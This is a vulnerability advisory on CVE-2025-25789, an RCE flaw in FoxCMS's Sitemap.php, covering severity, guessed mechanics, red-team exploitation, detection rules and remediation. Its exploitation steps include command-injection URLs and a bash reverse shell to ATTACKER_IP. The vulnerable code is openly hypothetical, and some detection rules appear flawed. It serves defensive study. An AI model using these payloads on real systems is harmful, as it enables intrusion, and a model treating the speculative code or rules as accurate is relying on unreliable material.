CVE-2025-25789

Executive Summary

CVE-2025-25789 is a critical Remote Code Execution (RCE) vulnerability discovered in FoxCMS v1.2.5. The flaw resides in the index() method of the /controller/Sitemap.php file, allowing an unauthenticated attacker to execute arbitrary PHP code on the server. This vulnerability is classified under CWE-94 (Improper Control of Generation of Code) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation activity at the time of analysis. However, given the public availability of proof-of-concept details, the risk is elevated for unpatched instances.

Supply Chain & Package Security

FoxCMS is a PHP-based content management system. The vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but affects the core application code. Users should verify the integrity of their FoxCMS installation and monitor for any third-party plugins or themes that may introduce similar weaknesses.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only affected component.
• Confidentiality (C): High (H) – full system compromise possible.
• Integrity (I): High (H) – attacker can modify files and data.
• Availability (A): High (H) – attacker can disrupt service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – immediate action required.

Deep Dive & Mechanics

The vulnerability is located in the index() method of /controller/Sitemap.php. The exact code is not publicly available, but based on the description, the method likely takes user-supplied input (e.g., via GET or POST parameters) and passes it to a PHP function that evaluates or executes code without proper sanitization. Common patterns include:

• Using eval() or assert() with user input.
• Using preg_replace() with the /e modifier (deprecated but still functional in older PHP versions).
• Using call_user_func() or call_user_func_array() with user-controlled function names.
• Using include() or require() with user-controlled paths (Local File Inclusion leading to RCE).

An attacker can craft a malicious request to the Sitemap endpoint, injecting PHP code that gets executed on the server. This could lead to full server compromise, data exfiltration, or lateral movement within the network.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Hypothetical):

// /controller/Sitemap.php
public function index() {
    $input = $_GET['cmd'];
    eval($input); // Direct execution of user input
}

Patched Code (Hypothetical):

// /controller/Sitemap.php
public function index() {
    $input = $_GET['cmd'];
    // Validate and sanitize input
    if (preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
        // Safe processing
        echo "Sitemap generated for: " . htmlspecialchars($input);
    } else {
        die("Invalid input.");
    }
}

The patched version removes the dangerous eval() call and implements strict input validation.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install FoxCMS v1.2.5 on a local server (e.g., using XAMPP or Docker).
2. Ensure the /controller/Sitemap.php file is accessible.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target.com/controller/Sitemap.php?cmd=phpinfo();
2. If the server returns PHP info, the vulnerability is confirmed.
3. Execute arbitrary commands: http://target.com/controller/Sitemap.php?cmd=system('id');
4. For a reverse shell, use a payload like: http://target.com/controller/Sitemap.php?cmd=exec('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

Note: No public exploit code is available from Exploit-DB. The above is a generic example.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /controller/Sitemap.php with suspicious parameters (e.g., cmd, exec, eval).
• Look for abnormal HTTP response sizes or error messages indicating code execution.
• Use WAF rules to block requests containing PHP functions like system(), exec(), shell_exec(), eval(), assert().

Hunting:

• Search for files modified around the time of the attack.
• Check for unexpected processes or network connections from the web server.
• Review PHP error logs for warnings related to eval() or assert().

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /controller/Sitemap.php with parameters like cmd, exec, system.
  • Outbound connections from the web server to unknown IPs on common ports (e.g., 4444, 8080).
• File System:
  • New or modified PHP files in the web root (e.g., shell.php, backdoor.php).
  • Unexpected files in /tmp/ or /var/tmp/.
• Process:
  • Unusual processes spawned by the web server user (e.g., bash, nc, python).
• Logs:
  • PHP error logs containing eval() or assert() calls.
  • Web server access logs with 200 responses to /controller/Sitemap.php with long query strings.

Detection Engineering

YARA Rule

rule CVE_2025_25789_FoxCMS_RCE {
    meta:
        description = "Detects FoxCMS RCE exploitation attempts via Sitemap.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25789"
    strings:
        $s1 = "/controller/Sitemap.php" ascii wide nocase
        $s2 = "cmd=" ascii wide nocase
        $s3 = "system(" ascii wide nocase
        $s4 = "exec(" ascii wide nocase
        $s5 = "eval(" ascii wide nocase
        $s6 = "shell_exec(" ascii wide nocase
    condition:
        $s1 and ($s2 or $s3 or $s4 or $s5 or $s6)
}

Sigma Rule

title: FoxCMS RCE via Sitemap.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-25789
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/controller/Sitemap.php'
        cs-uri-query|contains|any:
            - 'cmd='
            - 'exec='
            - 'system='
            - 'eval='
    condition: selection
falsepositives:
    - Legitimate use of Sitemap functionality (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25789 FoxCMS RCE Attempt";
    flow:to_server,established;
    content:"/controller/Sitemap.php"; http_uri;
    content:"cmd="; http_uri;
    pcre:"/(system|exec|eval|shell_exec|passthru|popen|proc_open|assert)\(/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network.
2. Disable the Sitemap functionality if not required.
3. Apply a virtual patch using a WAF to block malicious requests.

Long-term Fix:

• Since no official patch is available, consider:
  • Upgrading to a newer version of FoxCMS if available.
  • Manually patching the /controller/Sitemap.php file by removing or sanitizing user input.
  • Migrating to a different, actively maintained CMS.

Compromise Assessment:

• Conduct a full forensic analysis to determine if the vulnerability was exploited.
• Check for backdoors, unauthorized accounts, and data exfiltration.
• Rotate all credentials and secrets.

Prevention:

• Implement secure coding practices: never trust user input, use parameterized queries, avoid dangerous functions like eval().
• Regularly update and patch all software.
• Deploy a Web Application Firewall (WAF) with custom rules for known vulnerabilities.

Valters IT